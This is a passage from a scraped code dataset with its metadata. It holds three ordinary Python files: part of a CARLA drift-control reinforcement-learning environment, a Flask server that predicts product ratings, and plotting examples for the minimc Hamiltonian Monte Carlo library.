-np.exp(-0.1*(180-e_slip))\n\t\telse:\n\t\t\tr_slip = -np.exp(-0.1*(e_slip+180))\n\n\t\tr_std_steer = np.exp(-2*std_steer)\n\t\tr_std_throttle = np.exp(-2*std_throttle)\n\n\t\tvx = self.velocity_local[0]\n\t\tvy = self.velocity_local[1]\n\t\tv = math.sqrt(vx*vx + vy*vy)\n\n\t\treward = v*(40*r_dis + 40*r_heading + 20*r_slip)\n\n\t\tif v < 6:\n\t\t\treward = reward / 2\n\n\t\treturn reward\n\n\tdef getNearby(self):\n\n\t\tself.waypoints_ahead = [] \n\t\t# self.waypoints_neighbor = []\n\t\tegoLocation = self.world.player.get_location()\n\t\tdx_array = self.route_x - egoLocation.x\n\t\tdy_array = self.route_y - egoLocation.y\n\t\tdis_array = np.sqrt(dx_array * dx_array + dy_array * dy_array)\n\t\tself.minDis = np.amin(dis_array)\n\t\t_ = np.where(dis_array == self.minDis)\n\t\tindex = _[0][0] # index for the min distance to all waypoints.\n\n\t\tself.drived_distance = self.route_length[index]\n\t\tself.waypoints_ahead = self.route[index:,:]\n\n\t\t# if index >= 20:\n\t\t# \tindex_st = index - 20\n\t\t# else:\n\t\t# \tindex_st = 0\n\t\t# self.waypoints_neighbor = self.route[index_st:,:]\n\t\tself.traj_index = index\n\n\n\tdef drawPoints(self):\n\t\tdraw_waypoints(self.world.player.get_world(), self.route)\n\n\n\tdef render(self):\n\t\t# show ROS client window by pygame\n\t\tself.world.tick(self.clock, self.e_dis, self.e_heading, self.velocity_local[2] )\n\t\tself.world.render(self.display)\n\t\tpygame.display.flip()\n\n\n\tdef velocity_world2local(self,yaw):\n\t\tvelocity_world = self.world.player.get_velocity()\n\t\tvx = velocity_world.x\n\t\tvy = velocity_world.y\n\t\tyaw = -yaw\n\t\t\n\t\tlocal_x = float(vx * math.cos(yaw) - vy * math.sin(yaw))\n\t\tlocal_y = float(vy * math.cos(yaw) + vx * math.sin(yaw))\n\t\tif local_x != 0:\n\t\t\tslip_angle = math.atan(local_y/local_x)/3.1415926*180\n\t\telse:\n\t\t\tslip_angle = 0\n\t\t\n\t\tself.velocity_local = [local_x,local_y,slip_angle]\n\n\tdef velocity_local2world(self, velocity_local, yaw):\n\t\tvx = velocity_local[0]\n\t\tvy = velocity_local[1]\n\n\t\tworld_x = vx * math.cos(yaw) - vy * math.sin(yaw)\n\t\tworld_y = vy * math.cos(yaw) + vx * math.sin(yaw)\n\n\t\treturn carla.Vector3D(world_x,world_y,0)\n\n\tdef collisionDetect(self):\n\t\tif self.world.collision_sensor.history:\n\t\t\treturn True\n\t\telse:\n\t\t\treturn False\n\n\tdef getAction(self,actionID=4,steer=0, throttle=0):\n\t\t\n\t\tself.control = carla.VehicleControl(\n\t\t\t\t\t\tthrottle = throttle,\n\t\t\t\t\t\tsteer = steer,\n\t\t\t\t\t\tbrake = 0.0,\n\t\t\t\t\t\thand_brake = False,\n\t\t\t\t\t\treverse = False,\n\t\t\t\t\t\tmanual_gear_shift = False,\n\t\t\t\t\t\tgear = 0)\n\t\treturn self.control\n\t\t\n\n\tdef getLocalFutureWay(self,egoLocation,yaw):\n\t\t# transfer the future waypoints (#10) to the local coordinate.\n\t\t# x, y, slip (degree)\n\t\t# ways = self.waypoints_ahead[0:-1:5,:] # filter to 1m between way pts ### GET VERY GOOD PERFORMANCE, EVEN BETTER THAN THE ONE FOLLOWING A HUMAN REF TRAJECTORY......\n\t\tways = self.waypoints_ahead[0:-1:4,:]\n\n\t\tif ways.shape[0] < 11:\n\t\t\tself.destinationFlag = True\n\t\tself.waypoints_ahead_local = []\n\t\tyaw = -yaw\n\t\t\n\t\t\n\t\tfor w in ways[0:10]: \n\t\t\n\t\t\twx = w[0]\n\t\t\twy = w[1]\n\t\t\tw_slip = 0\n\t\t\tdx = wx - egoLocation.x\n\t\t\tdy = wy - egoLocation.y\n\n\t\t\tnx = dx * math.cos(yaw) - dy * math.sin(yaw)\n\t\t\tny = dy * math.cos(yaw) + dx * math.sin(yaw)\n\t\t\tself.waypoints_ahead_local.append(np.array([nx,ny,w_slip]))\n\t\t\n\t\t\t\n\tdef getLocalHistoryWay(self,egoLocation,yaw):\n\t\t# x, y, steer, slip (degree)\n\t\tways = self.waypoints_history\n\t\tyaw = -yaw\n\t\tself.waypoints_history_local = []\n\t\tif len(ways) < 5:\n\t\t\tfor i in range(5 - len(ways)):\n\t\t\t\tself.waypoints_history_local.append(np.array([0,0,0,0]))\n\t\t\n\t\tfor w in ways:\n\t\t\twx = w[0]\n\t\t\twy = w[1]\n\t\t\tw_steer = w[2]\n\t\t\tw_slip = w[3]\n\t\t\tdx = wx - egoLocation.x\n\t\t\tdy = wy - egoLocation.y\n\n\t\t\tnx = dx * math.cos(yaw) - dy * math.sin(yaw)\n\t\t\tny = dy * math.cos(yaw) + dx * math.sin(yaw)\n\t\t\tself.waypoints_history_local.append(np.array([nx,ny,w_steer,w_slip]))\n\n\n\tdef getLocalNeighbor(self,egoLocation,yaw):\n\t\t# x, y, steer, slip (degree)\n\t\tways = self.route\n\t\tyaw = -yaw\n\t\tself.waypoints_neighbor_local = []\n\t\t\n\t\tindex = self.traj_index\n\t\tif index >= 10:\n\t\t\tindex_st = index - 10\n\t\telse:\n\t\t\tindex_st = 0\n\n\t\tfor w in ways[index_st:index+30,:]:\n\t\t\twx = w[0]\n\t\t\twy = w[1]\n\t\t\t\n\t\t\tdx = wx - egoLocation.x\n\t\t\tdy = wy - egoLocation.y\n\n\t\t\tnx = dx * math.cos(yaw) - dy * math.sin(yaw)\n\t\t\tny = dy * math.cos(yaw) + dx * math.sin(yaw)\n\t\t\tself.waypoints_neighbor_local.append([nx,ny])\n\t\t\n\t\tif index_st == 0:\n\t\t\tself.nb_index = index\n\t\telse:\n\t\t\tself.nb_index = 10\n\t\t\n\n\tdef vgf_direction(self,egoLocation):\n\t\tway_x = self.waypoints_ahead[0,0]\n\t\tway_y = self.waypoints_ahead[0,1]\n\t\tyaw = -self.waypoints_ahead[0,2]/180.0 * 3.141592653\n\t\t\n\t\tdx = egoLocation.x - way_x\n\t\tdy = egoLocation.y - way_y\n\n\t\tnx = dx * math.cos(yaw) - dy * math.sin(yaw)\n\t\tny = dy * math.cos(yaw) + dx * math.sin(yaw)\n\n\t\tif ny < 0:\n\t\t\treturn True\n\t\telse:\n\t\t\treturn False\n\n\n\t\n\n", "repo_name": "caipeide/drift_drl", "sub_path": "code/environment_app.py", "file_name": "environment_app.py", "file_ext": "py", "file_size_in_byte": 18164, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 92, "dataset": "github-code", "pt": "16", "api": [{"api_name": "math.sqrt", "line_number": 45, "usage_type": "call"}, {"api_name": "carla.Location", "line_number": 48, "usage_type": "call"}, {"api_name": "carla.Color", "line_number": 50, "usage_type": "call"}, {"api_name": "logging.INFO", "line_number": 56, "usage_type": "attribute"}, {"api_name": "logging.basicConfig", "line_number": 58, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 60, "usage_type": "call"}, {"api_name": "carla.Location", "line_number": 66, "usage_type": "call"}, {"api_name": "carla.Rotation", "line_number": 67, "usage_type": "call"}, {"api_name": "carla.Location", "line_number": 69, "usage_type": "call"}, {"api_name": "carla.Rotation", "line_number": 70, "usage_type": "call"}, {"api_name": "carla.Transform", "line_number": 72, "usage_type": "call"}, {"api_name": "carla.Client", "line_number": 74, "usage_type": "call"}, {"api_name": "pygame.display.set_mode", "line_number": 76, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 76, "usage_type": "attribute"}, {"api_name": "pygame.HWSURFACE", "line_number": 76, "usage_type": "attribute"}, {"api_name": "pygame.DOUBLEBUF", "line_number": 76, "usage_type": "attribute"}, {"api_name": "pygame.time.Clock", "line_number": 79, "usage_type": "call"}, {"api_name": "pygame.time", "line_number": 79, "usage_type": "attribute"}, {"api_name": "carla.VehicleControl", "line_number": 85, "usage_type": "call"}, {"api_name": "collections.deque", "line_number": 99, "usage_type": "call"}, {"api_name": "collections.deque", "line_number": 100, "usage_type": "call"}, {"api_name": "collections.deque", "line_number": 123, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 130, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 131, "usage_type": "call"}, {"api_name": "carla.WeatherParameters", "line_number": 139, "usage_type": "attribute"}, {"api_name": "pandas.read_csv", "line_number": 142, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 146, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 150, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 171, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 178, "usage_type": "call"}, {"api_name": "numpy.random.randint", "line_number": 200, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 200, "usage_type": "attribute"}, {"api_name": "numpy.random.randint", "line_number": 201, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 201, "usage_type": "attribute"}, {"api_name": "time.sleep", "line_number": 229, "usage_type": "call"}, {"api_name": "carla.Location", "line_number": 239, "usage_type": "call"}, {"api_name": "carla.Rotation", "line_number": 240, "usage_type": "call"}, {"api_name": "carla.Vector3D", "line_number": 242, "usage_type": "call"}, {"api_name": "numpy.random.randint", "line_number": 245, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 245, "usage_type": "attribute"}, {"api_name": "carla.Location", "line_number": 246, "usage_type": "call"}, {"api_name": "carla.Rotation", "line_number": 247, "usage_type": "call"}, {"api_name": "carla.Vector3D", "line_number": 250, "usage_type": "call"}, {"api_name": "carla.Location", "line_number": 252, "usage_type": "call"}, {"api_name": "carla.Rotation", "line_number": 253, "usage_type": "call"}, {"api_name": "carla.Transform", "line_number": 256, "usage_type": "call"}, {"api_name": "carla.VehicleControl", "line_number": 272, "usage_type": "call"}, {"api_name": "time.time", "line_number": 334, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 336, "usage_type": "call"}, {"api_name": "time.time", "line_number": 342, "usage_type": "call"}, {"api_name": "math.atan2", "line_number": 357, "usage_type": "call"}, {"api_name": "math.cos", "line_number": 365, "usage_type": "call"}, {"api_name": "math.sin", "line_number": 365, "usage_type": "call"}, {"api_name": "math.atan", "line_number": 370, "usage_type": "call"}, {"api_name": "math.atan", "line_number": 372, "usage_type": "call"}, {"api_name": "time.time", "line_number": 399, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 401, "usage_type": "call"}, {"api_name": "math.sqrt", "line_number": 407, "usage_type": "call"}, {"api_name": "time.time", "line_number": 419, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 429, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 432, "usage_type": "call"}, {"api_name": "numpy.exp", "line_number": 435, "usage_type": "call"}, {"api_name": "numpy.exp", "line_number": 438, "usage_type": "call"}, {"api_name": "numpy.exp", "line_number": 440, "usage_type": "call"}, {"api_name": "numpy.exp", "line_number": 442, "usage_type": "call"}, {"api_name": "numpy.exp", "line_number": 445, "usage_type": "call"}, {"api_name": "numpy.exp", "line_number": 447, "usage_type": "call"}, {"api_name": "numpy.exp", "line_number": 449, "usage_type": "call"}, {"api_name": "numpy.exp", "line_number": 451, "usage_type": "call"}, {"api_name": "numpy.exp", "line_number": 452, "usage_type": "call"}, {"api_name": "math.sqrt", "line_number": 456, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 472, "usage_type": "call"}, {"api_name": "numpy.amin", "line_number": 473, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 474, "usage_type": "call"}, {"api_name": "pygame.display.flip", "line_number": 496, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 496, "usage_type": "attribute"}, {"api_name": "math.cos", "line_number": 505, "usage_type": "call"}, {"api_name": "math.sin", "line_number": 505, "usage_type": "call"}, {"api_name": "math.cos", "line_number": 506, "usage_type": "call"}, {"api_name": "math.sin", "line_number": 506, "usage_type": "call"}, {"api_name": "math.atan", "line_number": 508, "usage_type": "call"}, {"api_name": "math.cos", "line_number": 518, "usage_type": "call"}, {"api_name": "math.sin", "line_number": 518, "usage_type": "call"}, {"api_name": "math.cos", "line_number": 519, "usage_type": "call"}, {"api_name": "math.sin", "line_number": 519, "usage_type": "call"}, {"api_name": "carla.Vector3D", "line_number": 521, "usage_type": "call"}, {"api_name": "carla.VehicleControl", "line_number": 531, "usage_type": "call"}, {"api_name": "math.cos", "line_number": 562, "usage_type": "call"}, {"api_name": "math.sin", "line_number": 562, "usage_type": "call"}, {"api_name": "math.cos", "line_number": 563, "usage_type": "call"}, {"api_name": "math.sin", "line_number": 563, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 564, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 574, "usage_type": "call"}, {"api_name": "math.cos", "line_number": 584, "usage_type": "call"}, {"api_name": "math.sin", "line_number": 584, "usage_type": "call"}, {"api_name": "math.cos", "line_number": 585, "usage_type": "call"}, {"api_name": "math.sin", "line_number": 585, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 586, "usage_type": "call"}, {"api_name": "math.cos", "line_number": 608, "usage_type": "call"}, {"api_name": "math.sin", "line_number": 608, "usage_type": "call"}, {"api_name": "math.cos", "line_number": 609, "usage_type": "call"}, {"api_name": "math.sin", "line_number": 609, "usage_type": "call"}, {"api_name": "math.cos", "line_number": 626, "usage_type": "call"}, {"api_name": "math.sin", "line_number": 626, "usage_type": "call"}, {"api_name": "math.cos", "line_number": 627, "usage_type": "call"}, {"api_name": "math.sin", "line_number": 627, "usage_type": "call"}]} +{"seq_id": "35679955660", "text": "from flask import Flask, request, send_from_directory, jsonify, Response\nimport json\nimport pickle\n\nimport os\nimport sys\nimport inspect\ncurrentdir = os.path.dirname(os.path.abspath(inspect.getfile(inspect.currentframe())))\nparentdir = os.path.dirname(currentdir)\nsys.path.insert(0, parentdir) \n\nimport processing\nimport feature_extraction\nimport pandas as pd\nimport numpy as np\n\napp = Flask(__name__)\n\n#load models\nwith open('model_rating.pkl', 'rb') as f:\n model_rating = pickle.load(f)\n \nwith open('model_rating_count.pkl', 'rb') as f:\n model_count = pickle.load(f)\n \n#load scalers\nwith open('data_scaler.pkl', 'rb') as f:\n data_scaler = pickle.load(f)\n \nwith open('output_scaler_rating.pkl', 'rb') as f:\n output_scaler_rating = pickle.load(f)\n \nwith open('output_scaler_rating_count.pkl', 'rb') as f:\n output_scaler_count = pickle.load(f)\n \ncolumns = pd.read_csv('../dataset.csv').drop(columns=['rating', 'rating_count', 'title', 'desc_text']).columns\n \n@app.route('/')\ndef index():\n return send_from_directory('frontend', 'index.html')\n\n@app.route('/')\ndef home(path):\n return send_from_directory('frontend', path)\n \n@app.route('/api/prediction',methods = ['POST'])\ndef prediction():\n if request.method == 'POST':\n product = request.get_json()\n title = product['title']\n desc = product['desc']\n if(title and desc):\n # Use model to get prediction here\n product['desc_text'] = product.pop('desc')\n product['photos_count'] = 0\n \n seq = processing.Sequencer([\n processing.DictToDF(),\n processing.ApplyFunctionToColumns(\n feature_extraction.get_main_stats,\n to_cols=['desc_text', 'title'],\n to_series=True,\n to_dtype=float,\n concat_axis=1\n ),\n processing.ApplyFunctionToRows(\n feature_extraction.get_ratios,\n disregard_columns=['desc_text', 'title'],\n to_series=True,\n to_dtype=float,\n concat_axis=1\n ),\n processing.ApplyFunctionToColumns(\n feature_extraction.get_pos_features,\n to_cols=['desc_text', 'title'],\n to_series=True,\n to_dtype=float,\n concat_axis=1,\n ),\n processing.ApplyFunctionToColumns(\n feature_extraction.get_ner_tag_counts,\n to_cols=['desc_text', 'title'],\n to_series=True,\n to_dtype=float,\n concat_axis=1,\n ),\n processing.FillNoneValues(replace_null_with=0),\n processing.DropColumns(drop_cols=['desc_text', 'title']),\n ])\n features = seq(product)\n features = {col: features[col] for col in features.keys() if col in columns}\n for col in columns:\n if col not in features:\n features[col] = 0\n features = pd.DataFrame([features]).to_numpy()\n features = data_scaler.transform(features)\n \n rating_pred = model_rating.predict(features)[0]\n count_pred = model_count.predict(features)[0]\n \n rating_pred = rating_pred * output_scaler_rating.scale_ + output_scaler_rating.mean_\n count_pred = count_pred * output_scaler_count.scale_ + output_scaler_count.mean_\n \n rating_pred = np.round(rating_pred.squeeze()[()], decimals=3)\n count_pred = np.round(count_pred.squeeze()[()], decimals=3)\n \n rating_pred = np.clip(rating_pred, 0, 5)\n count_pred = np.clip(count_pred, 0, None)\n # Return JSON object with original title, desc and prediction for rating and rating_count\n result = {'title': title, 'desc': desc, 'rating': rating_pred, 'rating_count': count_pred}\n return jsonify(result)\n else:\n return Response(status=400)\n \nif __name__ == '__main__':\n app.run(host='0.0.0.0', port=80, debug = True)", "repo_name": "123kubix123/nlp-projekt", "sub_path": "nlp-projekt-backend/server.py", "file_name": "server.py", "file_ext": "py", "file_size_in_byte": 4283, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "os.path.dirname", "line_number": 8, "usage_type": "call"}, {"api_name": "os.path", "line_number": 8, "usage_type": "attribute"}, {"api_name": "os.path.abspath", "line_number": 8, "usage_type": "call"}, {"api_name": "inspect.getfile", "line_number": 8, "usage_type": "call"}, {"api_name": "inspect.currentframe", "line_number": 8, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 9, "usage_type": "call"}, {"api_name": "os.path", "line_number": 9, "usage_type": "attribute"}, {"api_name": "sys.path.insert", "line_number": 10, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 10, "usage_type": "attribute"}, {"api_name": "flask.Flask", "line_number": 17, "usage_type": "call"}, {"api_name": "pickle.load", "line_number": 21, "usage_type": "call"}, {"api_name": "pickle.load", "line_number": 24, "usage_type": "call"}, {"api_name": "pickle.load", "line_number": 28, "usage_type": "call"}, {"api_name": "pickle.load", "line_number": 31, "usage_type": "call"}, {"api_name": "pickle.load", "line_number": 34, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 36, "usage_type": "call"}, {"api_name": "flask.send_from_directory", "line_number": 40, "usage_type": "call"}, {"api_name": "flask.send_from_directory", "line_number": 44, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 48, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 48, "usage_type": "name"}, {"api_name": "flask.request.get_json", "line_number": 49, "usage_type": "call"}, {"api_name": "flask.request", "line_number": 49, "usage_type": "name"}, {"api_name": "processing.Sequencer", "line_number": 57, "usage_type": "call"}, {"api_name": "processing.DictToDF", "line_number": 58, "usage_type": "call"}, {"api_name": "processing.ApplyFunctionToColumns", "line_number": 59, "usage_type": "call"}, {"api_name": "feature_extraction.get_main_stats", "line_number": 60, "usage_type": "attribute"}, {"api_name": "processing.ApplyFunctionToRows", "line_number": 66, "usage_type": "call"}, {"api_name": "feature_extraction.get_ratios", "line_number": 67, "usage_type": "attribute"}, {"api_name": "processing.ApplyFunctionToColumns", "line_number": 73, "usage_type": "call"}, {"api_name": "feature_extraction.get_pos_features", "line_number": 74, "usage_type": "attribute"}, {"api_name": "processing.ApplyFunctionToColumns", "line_number": 80, "usage_type": "call"}, {"api_name": "feature_extraction.get_ner_tag_counts", "line_number": 81, "usage_type": "attribute"}, {"api_name": "processing.FillNoneValues", "line_number": 87, "usage_type": "call"}, {"api_name": "processing.DropColumns", "line_number": 88, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 95, "usage_type": "call"}, {"api_name": "numpy.round", "line_number": 104, "usage_type": "call"}, {"api_name": "numpy.round", "line_number": 105, "usage_type": "call"}, {"api_name": "numpy.clip", "line_number": 107, "usage_type": "call"}, {"api_name": "numpy.clip", "line_number": 108, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 111, "usage_type": "call"}, {"api_name": "flask.Response", "line_number": 113, "usage_type": "call"}]} +{"seq_id": "74881713289", "text": "import os\n\nimport autograd.numpy as np\nfrom minimc import (\n neg_log_normal,\n mixture,\n hamiltonian_monte_carlo,\n neg_log_mvnormal,\n)\nfrom minimc.minimc_slow import hamiltonian_monte_carlo as hmc_slow\nfrom minimc.autograd_interface import AutogradPotential\nimport matplotlib.pyplot as plt\n\nHERE = os.path.dirname(os.path.abspath(__file__))\nFIGSIZE = (10, 7)\n\nif __name__ == \"__main__\":\n plt.rcParams.update(\n {\n \"axes.prop_cycle\": plt.cycler(\n \"color\",\n [\n \"#000000\",\n \"#1b6989\",\n \"#e69f00\",\n \"#009e73\",\n \"#f0e442\",\n \"#50b4e9\",\n \"#d55e00\",\n \"#cc79a7\",\n ],\n ),\n \"figure.figsize\": [12.0, 5.0],\n \"font.serif\": [\n \"Palatino\",\n \"Palatino Linotype\",\n \"Palatino LT STD\",\n \"Book Antiqua\",\n \"Georgia\",\n \"DejaVu Serif\",\n ],\n \"font.family\": \"serif\",\n \"figure.facecolor\": \"#fffff8\",\n \"axes.facecolor\": \"#fffff8\",\n \"figure.constrained_layout.use\": True,\n \"font.size\": 14.0,\n \"hist.bins\": \"auto\",\n \"lines.linewidth\": 3.0,\n \"lines.markeredgewidth\": 2.0,\n \"lines.markerfacecolor\": \"none\",\n \"lines.markersize\": 8.0,\n }\n )\n\n ### Example 1 ###\n samples = hamiltonian_monte_carlo(\n 2000, AutogradPotential(neg_log_normal(0, 0.1)), initial_position=0.0\n )\n\n ### Plot 1 ###\n fig, ax = plt.subplots(figsize=FIGSIZE)\n ax.hist(samples, bins=\"auto\")\n ax.axvline(0, color=\"C1\", linestyle=\"--\")\n ax.set_title(\"1D Gaussians!\")\n plt.savefig(os.path.join(HERE, \"plot1.png\"))\n\n ### Example 2 ###\n samples, positions, momentums, accepted, p_accepts = hmc_slow(\n 50, AutogradPotential(neg_log_normal(0, 0.1)), 0.0, step_size=0.01\n )\n\n ### Plot 2 ###\n fig, ax = plt.subplots(figsize=FIGSIZE)\n for q, p in zip(positions, momentums):\n ax.plot(q, p)\n\n y_min, _ = ax.get_ylim()\n ax.plot(samples, y_min + np.zeros_like(samples), \"ko\")\n ax.set_xlabel(\"Position\")\n ax.set_ylabel(\"Momentum\")\n\n ax.set_title(\"1D Gaussian trajectories in phase space!\")\n plt.savefig(os.path.join(HERE, \"plot2.png\"))\n\n ### Example 3 ###\n mu = np.zeros(2)\n cov = np.array([[1.0, 0.8], [0.8, 1.0]])\n neg_log_p = AutogradPotential(neg_log_mvnormal(mu, cov))\n\n samples = hamiltonian_monte_carlo(1000, neg_log_p, np.zeros(2))\n\n ### Plot 3 ###\n fig, ax = plt.subplots(figsize=FIGSIZE)\n ax.plot(samples[:, 0], samples[:, 1], \"o\")\n ax.plot(mu[0], mu[1], \"o\", color=\"w\", ms=20, mfc=\"C1\")\n ax.set_title(\"Multivariate Gaussians!\")\n plt.savefig(os.path.join(HERE, \"plot3.png\"))\n\n ### Example 4 ###\n np.random.seed(19)\n\n samples, positions, momentums, accepted, p_accepts = hmc_slow(\n 10, neg_log_p, np.random.randn(2), path_len=4, step_size=0.01,\n )\n\n ### Plot 4 ###\n fig, ax = plt.subplots(figsize=FIGSIZE)\n\n steps = slice(None, None, 20)\n ax.plot(mu[0], mu[1], \"o\", color=\"w\", ms=20, mfc=\"C1\")\n\n for q, p in zip(positions, momentums):\n ax.quiver(\n q[steps, 0],\n q[steps, 1],\n p[steps, 0],\n p[steps, 1],\n headwidth=6,\n scale=80,\n headlength=7,\n alpha=0.8,\n )\n ax.plot(q[:, 0], q[:, 1], \"k-\", lw=1)\n\n ax.plot(samples[:, 0], samples[:, 1], \"o\", color=\"w\", mfc=\"C2\", ms=10)\n\n ax.set_title(\"2D Gaussian trajectories!\\nArrows show momentum!\")\n plt.savefig(os.path.join(HERE, \"plot4.png\"))\n\n ### Example 5 ###\n neg_log_probs = [\n neg_log_normal(-1.0, 0.3),\n neg_log_normal(0.0, 0.2),\n neg_log_normal(1.0, 0.3),\n ]\n probs = np.array([0.1, 0.5, 0.4])\n neg_log_p = AutogradPotential(mixture(neg_log_probs, probs))\n samples = hamiltonian_monte_carlo(2000, neg_log_p, 0.0)\n\n ### Plot 5 ###\n fig, ax = plt.subplots(figsize=FIGSIZE)\n ax.hist(samples, bins=\"auto\")\n ax.set_title(\"1D Mixtures!\")\n plt.savefig(os.path.join(HERE, \"plot5.png\"))\n\n ### Example 6 ###\n np.random.seed(2)\n samples, positions, momentums, accepted, p_accepts = hmc_slow(\n 100, neg_log_p, 0.0, step_size=0.01\n )\n\n ### Plot 6 ###\n fig, ax = plt.subplots(figsize=FIGSIZE)\n for q, p in zip(positions, momentums):\n ax.plot(q, p)\n\n y_min, _ = ax.get_ylim()\n ax.plot(samples, y_min + np.zeros_like(samples), \"ko\")\n ax.set_xlabel(\"Position\")\n ax.set_ylabel(\"Momentum\")\n\n ax.set_title(\"1D mixtures in phase space!\")\n plt.savefig(os.path.join(HERE, \"plot6.png\"))\n\n ### Example 7 ###\n mu1 = np.ones(2)\n cov1 = 0.5 * np.array([[1.0, 0.7], [0.7, 1.0]])\n mu2 = -np.ones(2)\n cov2 = 0.2 * np.array([[1.0, -0.6], [-0.6, 1.0]])\n\n mu3 = np.array([-1.0, 2.0])\n cov3 = 0.3 * np.eye(2)\n\n neg_log_p = AutogradPotential(\n mixture(\n [\n neg_log_mvnormal(mu1, cov1),\n neg_log_mvnormal(mu2, cov2),\n neg_log_mvnormal(mu3, cov3),\n ],\n [0.3, 0.3, 0.4],\n )\n )\n\n samples = hamiltonian_monte_carlo(2000, neg_log_p, np.zeros(2))\n\n ### Plot 7 ###\n fig, ax = plt.subplots(figsize=FIGSIZE)\n\n means = np.array([mu1, mu2, mu3])\n ax.plot(samples[:, 0], samples[:, 1], \"o\", alpha=0.5)\n ax.plot(means[:, 0], means[:, 1], \"o\", color=\"w\", ms=20, mfc=\"C1\")\n ax.set_title(\"Multivariate Mixtures!\")\n plt.savefig(os.path.join(HERE, \"plot7.png\"))\n\n ### Example 8 ###\n np.random.seed(2)\n\n samples, positions, momentums, accepted, p_accepts = hmc_slow(\n 20, neg_log_p, np.zeros(2), path_len=3, step_size=0.01\n )\n\n ### Plot 8 ###\n fig, ax = plt.subplots(figsize=FIGSIZE)\n\n steps = slice(None, None, 20)\n\n ax.plot(means[:, 0], means[:, 1], \"o\", color=\"w\", ms=20, mfc=\"C1\")\n for q, p in zip(positions, momentums):\n ax.quiver(\n q[steps, 0],\n q[steps, 1],\n p[steps, 0],\n p[steps, 1],\n headwidth=6,\n scale=100,\n headlength=7,\n alpha=0.8,\n )\n ax.plot(q[:, 0], q[:, 1], \"k-\", lw=1)\n ax.plot(samples[:, 0], samples[:, 1], \"o\", color=\"w\", mfc=\"C2\")\n\n ax.set_title(\"Multivariate mixture trajectories!\\nArrows show momentum!\")\n plt.savefig(os.path.join(HERE, \"plot8.png\"))\n", "repo_name": "ColCarroll/minimc", "sub_path": "examples/api_examples.py", "file_name": "api_examples.py", "file_ext": "py", "file_size_in_byte": 6553, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 197, "dataset": "github-code", "pt": "16", "api": [{"api_name": "os.path.dirname", "line_number": 14, "usage_type": "call"}, {"api_name": "os.path", "line_number": 14, "usage_type": "attribute"}, {"api_name": "os.path.abspath", "line_number": 14, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.rcParams.update", "line_number": 18, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.rcParams", "line_number": 18, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 18, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.cycler", "line_number": 20, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 20, "usage_type": "name"}, {"api_name": "minimc.hamiltonian_monte_carlo", "line_number": 56, "usage_type": "call"}, {"api_name": "minimc.autograd_interface.AutogradPotential", "line_number": 57, "usage_type": "call"}, {"api_name": "minimc.neg_log_normal", "line_number": 57, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 61, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 61, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 65, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 65, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 65, "usage_type": "call"}, {"api_name": "os.path", "line_number": 65, "usage_type": "attribute"}, {"api_name": "minimc.minimc_slow.hamiltonian_monte_carlo", "line_number": 68, "usage_type": "call"}, {"api_name": "minimc.autograd_interface.AutogradPotential", "line_number": 69, "usage_type": "call"}, {"api_name": "minimc.neg_log_normal", "line_number": 69, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 73, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 73, "usage_type": "name"}, {"api_name": "autograd.numpy.zeros_like", "line_number": 78, "usage_type": "call"}, {"api_name": "autograd.numpy", "line_number": 78, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 83, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 83, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 83, "usage_type": "call"}, {"api_name": "os.path", "line_number": 83, "usage_type": "attribute"}, {"api_name": "autograd.numpy.zeros", "line_number": 86, "usage_type": "call"}, {"api_name": "autograd.numpy", "line_number": 86, "usage_type": "name"}, {"api_name": "autograd.numpy.array", "line_number": 87, "usage_type": "call"}, {"api_name": "autograd.numpy", "line_number": 87, "usage_type": "name"}, {"api_name": "minimc.autograd_interface.AutogradPotential", "line_number": 88, "usage_type": "call"}, {"api_name": "minimc.neg_log_mvnormal", "line_number": 88, "usage_type": "call"}, {"api_name": "minimc.hamiltonian_monte_carlo", "line_number": 90, "usage_type": "call"}, {"api_name": "autograd.numpy.zeros", "line_number": 90, "usage_type": "call"}, {"api_name": "autograd.numpy", "line_number": 